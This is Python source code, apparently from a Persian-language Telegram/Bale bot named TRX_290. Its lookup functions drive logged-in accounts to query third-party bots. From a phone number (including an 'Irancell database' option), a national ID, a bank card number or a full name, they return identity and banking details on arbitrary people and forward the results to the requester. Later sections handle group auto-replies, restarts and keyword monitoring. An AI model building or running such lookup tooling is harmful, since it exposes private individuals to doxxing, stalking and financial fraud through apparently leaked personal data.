# ── استعلام با تلگرام: شماره (DatafyRobot + visionlookupbot) ────────
async def _trx290_lookup_phone_telegram(uid: int, aid: int, phone: str) -> str:
    """شماره → DatafyRobot (دکمه‌ها) + visionlookupbot"""
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    if client is None:
        return "❌ اکانت تلگرام استعلام متصل نیست."

    all_responses: List[str] = []

    # ── DatafyRobot: اول دکمه «جستجو» بعد «دیتابیس ایرانسل» بعد شماره ──
    try:
        peer = await _trx290_resolve_bot_peer(client, TRX290_BOT_DATAFY)
        send = getattr(client, "send_message", None)
        if callable(send):
            # ارسال /start برای فعال‌سازی
            try:
                r = send(peer, "/start")
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(2)
            except Exception:
                pass

            # دکمه «جستجو»
            try:
                r = send(peer, "جستجو")
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(1.5)
            except Exception:
                pass

            # دکمه «دیتابیس ایرانسل»
            try:
                r = send(peer, "دیتابیس ایرانسل")
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(1.5)
            except Exception:
                pass

            # ارسال شماره
            try:
                r = send(peer, phone)
                if asyncio.iscoroutine(r):
                    await r
            except Exception:
                pass

            # خواندن پاسخ
            dfr = await _trx290_send_and_wait(
                client, peer, phone, wait_seconds=18, send_text=False
            )
            for t in dfr:
                if t and phone not in t or True:
                    all_responses.append(t)
    except Exception as e:
        _log_warn(f"[TRX290] DatafyRobot lookup: {_mask(str(e))}")

    # ── visionlookupbot: فقط شماره را می‌فرستیم ──
    try:
        peer = await _trx290_resolve_bot_peer(client, TRX290_BOT_VISION)
        send = getattr(client, "send_message", None)
        if callable(send):
            try:
                r = send(peer, "/start")
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(1.5)
            except Exception:
                pass
            vr = await _trx290_send_and_wait(client, peer, phone, wait_seconds=18)
            for t in vr:
                all_responses.append(t)
    except Exception as e:
        _log_warn(f"[TRX290] visionlookupbot phone: {_mask(str(e))}")

    return _trx290_format_identity_result("phone", phone, all_responses)


# ── استعلام با تلگرام: کد ملی (visionlookupbot) ─────────────────────
async def _trx290_lookup_national_id_telegram(uid: int, aid: int, nid: str) -> str:
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    if client is None:
        return "❌ اکانت تلگرام استعلام متصل نیست."

    responses: List[str] = []
    try:
        peer = await _trx290_resolve_bot_peer(client, TRX290_BOT_VISION)
        send = getattr(client, "send_message", None)
        if callable(send):
            try:
                r = send(peer, "/start")
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(1.5)
            except Exception:
                pass
            rr = await _trx290_send_and_wait(client, peer, nid, wait_seconds=20)
            responses.extend(rr)
    except Exception as e:
        _log_warn(f"[TRX290] visionlookupbot nid: {_mask(str(e))}")

    return _trx290_format_identity_result("national_id", nid, responses)


# ── استعلام با تلگرام: شماره کارت (visionlookupbot) ─────────────────
async def _trx290_lookup_card_telegram(uid: int, aid: int, card: str) -> str:
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    if client is None:
        return "❌ اکانت تلگرام استعلام متصل نیست."

    responses: List[str] = []
    try:
        peer = await _trx290_resolve_bot_peer(client, TRX290_BOT_VISION)
        send = getattr(client, "send_message", None)
        if callable(send):
            try:
                r = send(peer, "/start")
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(1.5)
            except Exception:
                pass
            rr = await _trx290_send_and_wait(client, peer, card, wait_seconds=22)
            responses.extend(rr)
    except Exception as e:
        _log_warn(f"[TRX290] visionlookupbot card: {_mask(str(e))}")

    return _trx290_format_identity_result("card", card, responses)


# ── استعلام با تلگرام: نام و نام خانوادگی (MeliDBBOT + فایل TXT) ───
async def _trx290_lookup_fullname_telegram(uid: int, aid: int, full_name: str) -> str:
    """
    نام و نام خانوادگی → MeliDBBOT
    دکمه «🔍 جستجو با نام» → نام → دریافت TXT → فوروارد مستقیم به کاربر
    """
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    if client is None:
        return "❌ اکانت تلگرام استعلام متصل نیست."

    try:
        peer = await _trx290_resolve_bot_peer(client, TRX290_BOT_MELIDB)
        send = getattr(client, "send_message", None)
        if not callable(send):
            return "❌ متد ارسال پیام در دسترس نیست."

        # start
        try:
            r = send(peer, "/start")
            if asyncio.iscoroutine(r):
                await r
            await asyncio.sleep(2)
        except Exception:
            pass

        # دکمه «🔍 جستجو با نام»
        try:
            r = send(peer, "🔍 جستجو با نام")
            if asyncio.iscoroutine(r):
                await r
            await asyncio.sleep(1.5)
        except Exception:
            pass

        # ارسال نام و نام خانوادگی
        try:
            r = send(peer, full_name)
            if asyncio.iscoroutine(r):
                await r
        except Exception:
            pass

        # انتظار و دریافت
        await asyncio.sleep(8)

        # جستجوی فایل در history
        history_fn = None
        for m in ("get_chat_history", "get_messages", "iter_messages"):
            fn = getattr(client, m, None)
            if callable(fn):
                history_fn = fn
                break

        file_message = None
        text_messages: List[str] = []
        if history_fn is not None:
            try:
                hist = history_fn(peer, 20)
                if asyncio.iscoroutine(hist):
                    hist = await hist
                msgs = getattr(hist, "messages", None) or hist or []
                for msg in msgs:
                    is_me = getattr(msg, "is_me", False) or getattr(msg, "out", False)
                    if is_me:
                        continue
                    # تشخیص فایل
                    file_obj = (getattr(msg, "file", None)
                                 or getattr(msg, "document", None))
                    if file_obj is not None:
                        file_message = msg
                        break
                    t = getattr(msg, "text", "") or ""
                    if str(t).strip():
                        text_messages.append(str(t).strip())
            except Exception as e:
                _log_warn(f"[TRX290] MeliDB history: {_mask(str(e))}")

        # اگر فایل پیدا شد، فوروارد مستقیم
        if file_message is not None:
            msg_id = (getattr(file_message, "id", None)
                       or getattr(file_message, "message_id", None))
            peer_input = getattr(file_message, "object_guid", None) or peer
            forward_ok = False
            for fname in ("forward_messages", "forward_message"):
                fn = getattr(client, fname, None)
                if not callable(fn):
                    continue
                try:
                    r = fn(peer_input, int(uid), [msg_id])
                    if asyncio.iscoroutine(r):
                        await r
                    forward_ok = True
                    break
                except Exception:
                    try:
                        r = fn(int(uid), msg_id, peer_input)
                        if asyncio.iscoroutine(r):
                            await r
                        forward_ok = True
                        break
                    except Exception:
                        continue
            if forward_ok:
                return _trx290_format_identity_result(
                    "full_name", full_name,
                    ["📎 فایل نتایج جستجو در پیام بالا برای شما فوروارد شد."],
                )

        # اگر فایل نبود، متن را برگردان
        if text_messages:
            return _trx290_format_identity_result("full_name", full_name, text_messages)
        return _trx290_format_identity_result(
            "full_name", full_name,
            ["⚠️ پاسخی از ربات منبع دریافت نشد یا هنوز آماده نیست."],
        )
    except Exception as e:
        _log_warn(f"[TRX290] full name lookup: {_mask(str(e))}")
        return _trx290_format_identity_result(
            "full_name", full_name, [f"❌ خطا در استعلام: {_mask(str(e))[:200]}"],
        )


# ── استعلام با بله: کارت به شبا (cardinformation_bot) ───────────────
async def _trx290_lookup_card_to_sheba_bale(uid: int, aid: int, card: str) -> str:
    """
    اکانت بله → cardinformation_bot
    دکمه «💳 کارت به شبا» → شماره کارت → دریافت شبا
    """
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    if client is None:
        return "❌ اکانت بله استعلام متصل نیست."

    responses: List[str] = []
    try:
        peer = await _trx290_resolve_bot_peer(client, TRX290_BALE_BOT_CARD)
        send = getattr(client, "send_message", None)
        if not callable(send):
            return "❌ متد ارسال پیام در دسترس نیست."

        try:
            r = send(peer, "/start")
            if asyncio.iscoroutine(r):
                await r
            await asyncio.sleep(2)
        except Exception:
            pass

        # دکمه «💳 کارت به شبا»
        for label in ("💳 کارت به شبا", "کارت به شبا", "💳"):
            try:
                r = send(peer, label)
                if asyncio.iscoroutine(r):
                    await r
                await asyncio.sleep(1.2)
                break
            except Exception:
                continue

        # ارسال شماره کارت
        rr = await _trx290_send_and_wait(client, peer, card, wait_seconds=22)
        responses.extend(rr)
    except Exception as e:
        _log_warn(f"[TRX290] bale card2sheba: {_mask(str(e))}")

    return _trx290_format_identity_result("card_to_sheba", card, responses)


# ═══════════════════════════════════════════════════════════════════
#  15) کیبورد و ورک‌فلوی استعلام هویتی
# ═══════════════════════════════════════════════════════════════════

def _trx290_identity_main_kb(lang: str):
    en = str(lang or "fa").lower().startswith("en")
    return _trx290_IKB([
        [("📞 استعلام شماره تلفن" if not en else "📞 Phone Lookup",
          "trx290.identity.phone", "primary")],
        [("🆔 استعلام کد ملی" if not en else "🆔 National ID",
          "trx290.identity.nid", "danger")],
        [("💳 استعلام شماره کارت" if not en else "💳 Card Lookup",
          "trx290.identity.card", "primary")],
        [("👤 استعلام نام و نام خانوادگی" if not en else "👤 Full Name",
          "trx290.identity.name", "danger")],
        [("🏦 تبدیل کارت به شبا (بله)" if not en else "🏦 Card→Sheba (Bale)",
          "trx290.identity.c2s", "success")],
        [("↩️ بازگشت" if not en else "↩️ Back", "menu", "primary")],
    ])


# ═══════════════════════════════════════════════════════════════════
#  16) منوی ادمین — اکانت استعلام
# ═══════════════════════════════════════════════════════════════════

def _trx290_admin_identity_menu(lang: str):
    """منوی مدیریت اکانت‌های استعلام."""
    try:
        tg_acc = _trx290_get_identity_account("telegram")
        bale_acc = _trx290_get_identity_account("bale")
    except Exception:
        tg_acc = None
        bale_acc = None

    tg_label = "❌ تنظیم نشده"
    if tg_acc:
        phone = ""
        try:
            phone = trx._mask_phone(tg_acc.get("phone")) if tg_acc.get("phone") else "—"
        except Exception:
            phone = "—"
        tg_label = f"🟢 #{tg_acc['account_id']} — {phone}"

    bale_label = "❌ تنظیم نشده"
    if bale_acc:
        phone = ""
        try:
            phone = trx._mask_phone(bale_acc.get("phone")) if bale_acc.get("phone") else "—"
        except Exception:
            phone = "—"
        bale_label = f"🟢 #{bale_acc['account_id']} — {phone}"

    return _trx290_IKB([
        [(f"📨 اکانت تلگرام: {tg_label}", "trx290.admin.idacc.tg.view", "primary")],
        [(f"📨 اکانت بله: {bale_label}", "trx290.admin.idacc.bale.view", "primary")],
        [("➕ افزودن اکانت تلگرام", "trx290.admin.idacc.tg.add", "success")],
        [("➕ افزودن اکانت بله", "trx290.admin.idacc.bale.add", "success")],
        [("🗑 حذف اکانت تلگرام", "trx290.admin.idacc.tg.del", "danger")],
        [("🗑 حذف اکانت بله", "trx290.admin.idacc.bale.del", "danger")],
        [("↩️ بازگشت به پنل ادمین", "admin", "primary")],
    ])


# ── ورک‌فلوی اتصال اکانت تلگرام استعلام (مشابه add account اصلی) ─────
# از STATE.ADD_ACC_PHONE استفاده می‌کنیم ولی با یک marker مخصوص
# state name: "trx290_idacc_tg_phone" → سپس "trx290_idacc_tg_otp"

async def _trx290_idacc_tg_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    """ارسال کد تلگرام برای اکانت استعلام — از همان منطق اصلی استفاده می‌کند."""
    handler = trx.SERVICE_HANDLERS.get("telegram")
    if not handler or not callable(handler.get("send")):
        return False, "handler تلگرام در دسترس نیست."
    try:
        return await handler["send"](int(uid), phone)
    except Exception as e:
        return False, f"خطا: {_mask(str(e))[:200]}"


async def _trx290_idacc_tg_verify(uid: int, code: str) -> Tuple[bool, Any]:
    """تأیید کد تلگرام برای اکانت استعلام + ذخیره به‌عنوان اکانت استعلام."""
    handler = trx.SERVICE_HANDLERS.get("telegram")
    if not handler or not callable(handler.get("verify")):
        return False, "handler تلگرام در دسترس نیست."
    try:
        ok, info = await handler["verify"](int(uid), code)
        if ok:
            # آخرین اکانت تلگرام اضافه‌شده را ثبت کن
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE user_id=? AND service='telegram' "
                "ORDER BY id DESC LIMIT 1",
                (int(uid),),
            )
            if row:
                _trx290_set_identity_account("telegram", int(row["id"]), int(uid))
        return ok, info
    except Exception as e:
        return False, f"خطا: {_mask(str(e))[:200]}"


async def _trx290_idacc_bale_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    """ارسال کد بله برای اکانت استعلام."""
    handler = trx.SERVICE_HANDLERS.get("bale")
    if not handler or not callable(handler.get("send")):
        return False, "handler بله در دسترس نیست."
    try:
        return await handler["send"](int(uid), phone)
    except Exception as e:
        return False, f"خطا: {_mask(str(e))[:200]}"


async def _trx290_idacc_bale_verify(uid: int, code: str) -> Tuple[bool, Any]:
    """تأیید کد بله + ذخیره به‌عنوان اکانت استعلام."""
    handler = trx.SERVICE_HANDLERS.get("bale")
    if not handler or not callable(handler.get("verify")):
        return False, "handler بله در دسترس نیست."
    try:
        ok, info = await handler["verify"](int(uid), code)
        if ok:
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE user_id=? AND service='bale' "
                "ORDER BY id DESC LIMIT 1",
                (int(uid),),
            )
            if row:
                _trx290_set_identity_account("bale", int(row["id"]), int(uid))
        return ok, info
    except Exception as e:
        return False, f"خطا: {_mask(str(e))[:200]}"


_log_info(f"[TRX290] ===== PART 2/5 loaded (build={TRX_290_BUILD}) =====")
_log_info("[TRX290] Rubika login + Identity Lookup core ready.")# ═══════════════════════════════════════════════════════════════════
#  17) رفع ریپ در گروه‌ها — فقط وقتی روی اکانت ریپ زده شده
# ═══════════════════════════════════════════════════════════════════
# مشکل: اکانت AI الان به هر پیام رندوم گروه پاسخ می‌دهد.
# راه‌حل: فیلتر سختگیرانه در سطح event handler که فقط در این حالت‌ها
#       پاسخ می‌دهد:
#         1. reply مستقیم روی پیام خودمان (is_reply_to_me)
#         2. منشن شدن با @username یا با entity
#         3. منشن شدن در متن
#       در غیر این صورت هیچ پاسخی داده نمی‌شود.

_TRX290_ORIG_EVENT_HANDLER = getattr(trx, "_trx01_event_handler", None)


def _trx290_event_is_reply_to_me(event, client=None) -> bool:
    """تشخیص دقیق ریپ روی پیام خودمان."""
    # 1) بررسی مستقیم attribute
    for attr in ("is_reply", "reply_to", "reply_to_msg_id",
                 "reply_to_message", "reply_to_message_id"):
        try:
            v = getattr(event, attr, None)
            if not v:
                continue
            # اگر reply_to_msg_id عدد باشد، فقط ریپ داریم — ممکن است روی خودمان نباشد
            # تشخیص دقیق‌تر از طریق is_me در پیام مرجع
            reply_obj = v if not isinstance(v, (int, str)) else None
            if reply_obj is not None:
                # اگر پیام مرجع is_me بود → ریپ روی خودمان
                if (getattr(reply_obj, "is_me", False)
                        or getattr(reply_obj, "out", False)):
                    return True
                # اگر author_guid ما بود → ریپ روی خودمان
                me = getattr(event, "me", None)
                if me is not None:
                    my_guid = getattr(me, "user_guid", None) or getattr(me, "guid", None)
                    rp_guid = getattr(reply_obj, "author_guid", None)
                    if my_guid and rp_guid and str(my_guid) == str(rp_guid):
                        return True
            else:
                # v یک id است؛ نمی‌توانیم قطعی بگوییم
                # در این حالت اگر event.is_reply خودش True است، به عنوان
                # ریپ احتمالی می‌پذیریم ولی فقط در صورتی که sender_id
                # خودمان نباشد
                sender = getattr(event, "sender_id", None)
                if sender:
                    return True
        except Exception:
            continue

    # 2) message.reply_to
    msg = getattr(event, "message", None)
    if msg is not None:
        for attr in ("reply_to", "reply_to_msg_id", "reply_to_message"):
            try:
                if getattr(msg, attr, None):
                    # اگر is_me روی reply_to بود، قطعی
                    reply_to = getattr(msg, "reply_to", None)
                    if reply_to is not None:
                        if (getattr(reply_to, "is_me", False)
                                or getattr(reply_to, "out", False)):
                            return True
                    return True
            except Exception:
                continue
    return False


def _trx290_event_mentions_me(event, client=None) -> bool:
    """تشخیص دقیق منشن شدن."""
    # 1) attribute مستقیم
    try:
        if getattr(event, "mentioned", False):
            return True
    except Exception:
        pass
    try:
        if getattr(event, "is_mention", False):
            return True
    except Exception:
        pass

    # 2) از طریق entity (mention / text_mention)
    try:
        entities = (getattr(event, "entities", None)
                     or getattr(event, "message_entities", None) or [])
        for ent in entities or []:
            etype = str(getattr(ent, "type", "") or getattr(ent, "kind", "")).lower()
            if "mention" in etype:
                return True
    except Exception:
        pass

    # 3) از طریق متن + username خودمان
    try:
        text_value = ""
        for attr in ("text", "raw_text", "message"):
            v = getattr(event, attr, None)
            if isinstance(v, str):
                text_value = v
                break
            if v is not None and hasattr(v, "text"):
                text_value = str(getattr(v, "text", "") or "")
                break
        if not text_value:
            return False
        text_low = text_value.lower()
        for holder_attr in ("me", "sender", "chat"):
            obj = getattr(event, holder_attr, None)
            if obj is None:
                continue
            un = getattr(obj, "username", None)
            if un:
                if ("@" + str(un).lower().lstrip("@")) in text_low:
                    return True
    except Exception:
        pass

    return False


async def _trx290_event_handler_group_guard(event, uid: int, service: str, aid: int):
    """
    Wrapper روی event handler که در گروه‌ها سختگیرانه عمل می‌کند.
    """
    try:
        # تشخیص private/group
        try:
            is_private = bool(trx._trx_is_private_event(event))
        except Exception:
            is_private = True
        try:
            is_group = bool(trx._trx_is_group_event(event))
        except Exception:
            is_group = not is_private

        client = trx.ai_live_clients.get((int(uid), int(aid)))

        # در گروه‌ها فقط وقتی پاسخ می‌دهیم که reply/mention باشد
        if is_group:
            reply_to_me = _trx290_event_is_reply_to_me(event, client)
            mentioned = _trx290_event_mentions_me(event, client)
            if not (reply_to_me or mentioned):
                # ذخیره peer به‌عنوان group ولی هیچ پاسخی نمی‌دهیم
                try:
                    peer = trx._trx_peer_key(event, f"{service}:{aid}")
                    _trx290_touch_known_peer(int(uid), int(aid),
                                              str(service), str(peer), "group")
                except Exception:
                    pass
                return None

        # در این نقطه مجازیم — به handler اصلی پاس می‌دهیم
        if callable(_TRX290_ORIG_EVENT_HANDLER):
            return await _TRX290_ORIG_EVENT_HANDLER(event, uid, service, aid)
    except asyncio.CancelledError:
        raise
    except Exception as e:
        _log_err(f"[TRX290] group guard error: {_mask(str(e))}")
        # در صورت خطا، به handler اصلی پاس می‌دهیم تا هیچ پیامی گم نشود
        try:
            if callable(_TRX290_ORIG_EVENT_HANDLER):
                return await _TRX290_ORIG_EVENT_HANDLER(event, uid, service, aid)
        except Exception:
            pass
    return None


# نصب گروه guard روی همه alias ها
for _alias in ("_trx01_event_handler", "_trx_event_handler",
               "_trx_event_handler_v9", "_trx_event_handler_v10",
               "_trx_event_handler_v11", "_trx115_event_handler_v14",
               "_trx77_event_handler"):
    try:
        setattr(trx, _alias, _trx290_event_handler_group_guard)
    except Exception:
        pass

_log_info("[TRX290] group guard installed (only replies to reply/mention)")


# ═══════════════════════════════════════════════════════════════════
#  18) رفع ری‌استارت ربات — یکپارچه با patch اصلی
# ═══════════════════════════════════════════════════════════════════
# مشکل: دکمه ری‌استارت ربات را کامل خاموش می‌کند و دوباره روشن نمی‌شود.
# راه‌حل: قبل از exec، همه sessionها را امن ببندیم و از os.execv استفاده
#       کنیم با آدرس درست فایل TRX_290.py.

async def _trx290_restart_process(uid: Optional[int] = None,
                                    chat_id: Optional[int] = None):
    """
    ری‌استارت امن:
      - flag pending_restart را قبل از بستن ذخیره می‌کنیم
      - همه sessionها را می‌بندیم
      - با os.execv خود TRX_290.py را دوباره اجرا می‌کنیم
    """
    admin_uid = int(uid or TRX290_ADMIN_ID)
    admin_chat = str(chat_id if chat_id is not None else admin_uid)
    flag_key = f"trx290:pending_restart:{admin_uid}"

    # 1) ذخیره flag
    try:
        _trx290_setting_set(flag_key, admin_chat)
    except Exception as e:
        _log_warn(f"[TRX290][restart] flag save: {_mask(str(e))}")

    # 2) توقف polling
    try:
        b = _bot()
        if b is not None:
            b.running = False
        _log_info("[TRX290][restart] polling stopped")
    except Exception as e:
        _log_warn(f"[TRX290][restart] stop polling: {_mask(str(e))}")

    # 3) لغو تسک‌های background
    try:
        current = asyncio.current_task()
        cancelled = 0
        for t in asyncio.all_tasks():
            if t is current:
                continue
            try:
                t.cancel()
                cancelled += 1
            except Exception:
                pass
        _log_info(f"[TRX290][restart] cancelled {cancelled} tasks")
        await asyncio.sleep(0.8)
    except Exception as e:
        _log_warn(f"[TRX290][restart] cancel tasks: {_mask(str(e))}")

    # 4) بستن bot session
    try:
        b = _bot()
        if b is not None:
            await b.close()
        _log_info("[TRX290][restart] bot session closed")
    except Exception as e:
        _log_warn(f"[TRX290][restart] bot close: {_mask(str(e))}")

    # 5) بستن AI session
    try:
        a = _ai()
        if a is not None:
            await a.close()
        _log_info("[TRX290][restart] AI session closed")
    except Exception as e:
        _log_warn(f"[TRX290][restart] AI close: {_mask(str(e))}")

    # 6) بستن DB
    try:
        d = _db()
        if d is not None:
            try:
                if getattr(d, "conn", None) is not None:
                    d.conn.commit()
            except Exception:
                pass
            d.close()
        _log_info("[TRX290][restart] DB closed")
    except Exception as e:
        _log_warn(f"[TRX290][restart] DB close: {_mask(str(e))}")

    # 7) حذف PID
    try:
        rm = getattr(trx, "_remove_pid", None)
        if callable(rm):
            rm()
    except Exception:
        pass

    # 8) فرصت دادن برای ارسال پیام خداحافظی
    await asyncio.sleep(1.0)

    # 9) execv خودمان
    try:
        python = sys.executable
        script = os.path.abspath(__file__)
        _log_info(f"[TRX290][restart] execv {python} {script}")
        os.execv(python, [python, script])
    except Exception as e:
        _log_err(f"[TRX290][restart] execv failed: {_mask(str(e))}")
        try:
            os._exit(0)
        except Exception:
            sys.exit(0)


async def _trx290_check_pending_restart():
    """در بوت بعدی، پیام «ری‌استارت شد» را می‌فرستد."""
    try:
        key = f"trx290:pending_restart:{TRX290_ADMIN_ID}"
        row = _db().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        if not row or not row["value"]:
            return
        try:
            chat_id = int(str(row["value"]).strip())
        except Exception:
            chat_id = TRX290_ADMIN_ID
        try:
            await _bot().send(
                chat_id,
                "✅ **ربات با موفقیت ری‌استارت شد** 🚀\n\n"
                f"{SEP2}\n✦ نسخه زنجیره‌ای TRX_290\n✦ همه سرویس‌ها فعال\n{SEP2}",
            )
            _log_info(f"[TRX290][restart] boot notify sent to {chat_id}")
        except Exception as e:
            _log_warn(f"[TRX290][restart] notify: {_mask(str(e))}")
            return
        try:
            _db().execute("DELETE FROM settings WHERE key=?", (key,))
        except Exception:
            pass
    except Exception as e:
        _log_warn(f"[TRX290][restart] check pending: {_mask(str(e))}")


# ── hook روی admin_dispatch برای دکمه ری‌استارت ─────────────────────
_TRX290_ORIG_ADMIN_DISPATCH = getattr(trx, "admin_dispatch", None)


async def _trx290_admin_dispatch_wrap(cb_id, uid, lang, chat_id, msg_id, data):
    data_s = str(data or "")

    # ── دکمه اصلی «ری‌استارت ربات» ──
    if data_s in ("adm.restart", "trx290.adm.restart"):
        if not trx.is_admin(uid):
            return await _trx290_safe_edit(chat_id, msg_id, "⛔️ دسترسی ندارید.",
                                            trx.main_menu(lang, uid))
        await _trx290_safe_answer(cb_id)
        return await _trx290_safe_edit(
            chat_id, msg_id,
            "🔄 **ری‌استارت ربات**\n\n"
            f"{SEP}\n"
            "✦ کل پروژه از صفر اجرا می‌شود\n"
            "✦ همه sessionها امن بسته می‌شوند\n"
            "✦ ارتباط با AI قطع و بلافاصله دوباره وصل می‌شود\n"
            f"{SEP}\n\n"
            "⚠️ ربات چند ثانیه آفلاین می‌شود.",
            _trx290_IKB([
                [("✅ بله، ری‌استارت کن", "adm.restart.confirm", "success")],
                [("❌ لغو", "cancel", "danger")],
            ]),
        )

    # ── تأیید ری‌استارت ──
    if data_s in ("adm.restart.confirm", "trx290.adm.restart.confirm"):
        if not trx.is_admin(uid):
            return await _trx290_safe_answer(cb_id, "دسترسی ندارید", True)
        await _trx290_safe_answer(cb_id)
        try:
            await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🔄 ربات در حال ری‌استارت است...\n{SEP}",
            )
        except Exception:
            pass
        await _trx290_restart_process(uid=uid, chat_id=chat_id)
        return

    # ── سایر callbackهای ادمین به تابع اصلی ──
    if callable(_TRX290_ORIG_ADMIN_DISPATCH):
        try:
            return await _TRX290_ORIG_ADMIN_DISPATCH(
                cb_id, uid, lang, chat_id, msg_id, data_s)
        except Exception as e:
            _log_err(f"[TRX290] admin_dispatch fallback: {_mask(str(e))}")
            return None
    return None


try:
    trx.admin_dispatch = _trx290_admin_dispatch_wrap
    _log_info("[TRX290] restart button fixed")
except Exception as e:
    _log_warn(f"[TRX290] admin_dispatch wrap failed: {_mask(str(e))}")


# ── append دکمه ری‌استارت به admin_menu ────────────────────────────
_TRX290_ORIG_ADMIN_MENU = getattr(trx, "admin_menu", None)


def _trx290_admin_menu_with_restart(lang):
    base = None
    try:
        if callable(_TRX290_ORIG_ADMIN_MENU):
            base = _TRX290_ORIG_ADMIN_MENU(lang)
    except Exception:
        base = None
    try:
        if base and isinstance(base, dict) and "inline_keyboard" in base:
            rows = [list(r) for r in base["inline_keyboard"]]
            # چک نکن دکمه ری‌استارت از قبل هست یا نه
            has_restart = any(
                isinstance(b, dict) and b.get("callback_data") == "adm.restart"
                for row in rows for b in row
            )
            if not has_restart:
                rows.insert(len(rows) - 1, [
                    {"text": "🔄 ری‌استارت ربات",
                     "callback_data": "adm.restart",
                     "style": "danger"},
                ])
            # اکانت استعلام را هم اضافه کن اگر نیست
            has_idacc = any(
                isinstance(b, dict) and b.get("callback_data") == "trx290.admin.idacc"
                for row in rows for b in row
            )
            if not has_idacc:
                rows.insert(len(rows) - 1, [
                    {"text": "🔍 اکانت استعلام",
                     "callback_data": "trx290.admin.idacc",
                     "style": "primary"},
                ])
            return {"inline_keyboard": rows}
    except Exception as e:
        _log_warn(f"[TRX290] admin menu augment: {_mask(str(e))}")
    # fallback: منوی حداقلی
    return _trx290_IKB([
        [("🔄 ری‌استارت ربات", "adm.restart", "danger")],
        [("🔍 اکانت استعلام", "trx290.admin.idacc", "primary")],
        [("↩️ بازگشت", "menu", "primary")],
    ])


try:
    trx.admin_menu = _trx290_admin_menu_with_restart
    _log_info("[TRX290] admin menu updated with restart + identity account")
except Exception as e:
    _log_warn(f"[TRX290] admin menu wrap failed: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════
#  19) رفع رصد کلمات کلیدی (KWL)
# ═══════════════════════════════════════════════════════════════════
# مشکل: بعد از پاسخ، کاربر هنوز ادامه می‌دهد. باید فقط یک‌بار reply کند
#       و بعد از آن اگر کاربر دیگری ریپ نزد، دیگر ادامه ندهد.

_TRX290_KWL_LAST_REPLY: Dict[Tuple[int, int, str, str], float] = {}
_TRX290_KWL_COOLDOWN_SECONDS = 600  # 10 دقیقه cooldown


def _trx290_kwl_key(uid: int, aid: int, platform: str, peer: str) -> Tuple[int, int, str, str]:
    return (int(uid), int(aid), str(platform), str(peer))


def _trx290_kwl_can_reply(uid: int, aid: int, platform: str, peer: str) -> bool:
    key = _trx290_kwl_key(uid, aid, platform, peer)
    now_ts = time.time()
    last = _TRX290_KWL_LAST_REPLY.get(key, 0.0)
    if (now_ts - last) < _TRX290_KWL_COOLDOWN_SECONDS:
        return False
    return True


def _trx290_kwl_mark_replied(uid: int, aid: int, platform: str, peer: str):
    key = _trx290_kwl_key(uid, aid, platform, peer)
    _TRX290_KWL_LAST_REPLY[key] = time.time()
    # پاک‌سازی از حافظه
    if len(_TRX290_KWL_LAST_REPLY) > 3000:
        cutoff = time.time() - 7200
        for k in list(_TRX290_KWL_LAST_REPLY.keys()):
            if _TRX290_KWL_LAST_REPLY[k] < cutoff:
                _TRX290_KWL_LAST_REPLY.pop(k, None)


# ── کلمات کلیدی از settings (dیکشنری) ──
def _trx290_kwl_get_keywords(uid: int, aid: int, platform: str) -> List[str]:
    key = f"trx290:kwl:{int(uid)}:{int(aid)}:{str(platform).lower()}"
    try:
        row = _db().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        if not row or not row["value"]:
            return []
        data = json.loads(str(row["value"]))
        if isinstance(data, list):
            return [str(x).strip() for x in data if str(x).strip()]
    except Exception:
        pass
    return []


def _trx290_kwl_set_keywords(uid: int, aid: int, platform: str, words: List[str]) -> bool:
    key = f"trx290:kwl:{int(uid)}:{int(aid)}:{str(platform).lower()}"
    try:
        clean = list(dict.fromkeys([str(x).strip() for x in words if str(x).strip()]))
        _db().execute(
            "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
            (key, json.dumps(clean, ensure_ascii=False)),
        )
        return True
    except Exception as e:
        _log_warn(f"[TRX290] kwl set: {_mask(str(e))}")
        return False


def _trx290_kwl_get_enabled(uid: int, aid: int, platform: str) -> bool:
    key = f"trx290:kwl_enabled:{int(uid)}:{int(aid)}:{str(platform).lower()}"
    try:
        return _trx290_setting_get(key, "1") == "1"
    except Exception:
        return True


def _trx290_kwl_set_enabled(uid: int, aid: int, platform: str, enabled: bool):
    key = f"trx290:kwl_enabled:{int(uid)}:{int(aid)}:{str(platform).lower()}"
    _trx290_setting_set(key, "1" if enabled else "0")


def _trx290_kwl_match(text: str, keywords: List[str]) -> Optional[str]:
    if not text or not keywords:
        return None
    tl = str(text).lower()
    for w in keywords:
        if str(w).lower() in tl:
            return str(w)
    return None


async def _trx290_kwl_should_handle(event, uid: int, aid: int, service: str) -> bool:
    """
    چک می‌کند که آیا این event توسط KWL ما باید پردازش شود یا نه.
    """
    try:
        # فقط گروه‌ها
        try:
            is_group = bool(trx._trx_is_group_event(event))
        except Exception:
            is_group = False
        if not is_group:
            return False

        # اگر روی خودمان ریپ زده شده، KWL کار نمی‌کند (این کار AI اصلی است)
        if _trx290_event_is_reply_to_me(event) or _trx290_event_mentions_me(event):
            return False

        # keywords چک
        keywords = _trx290_kwl_get_keywords(uid, aid, service)
        if not keywords:
            return False
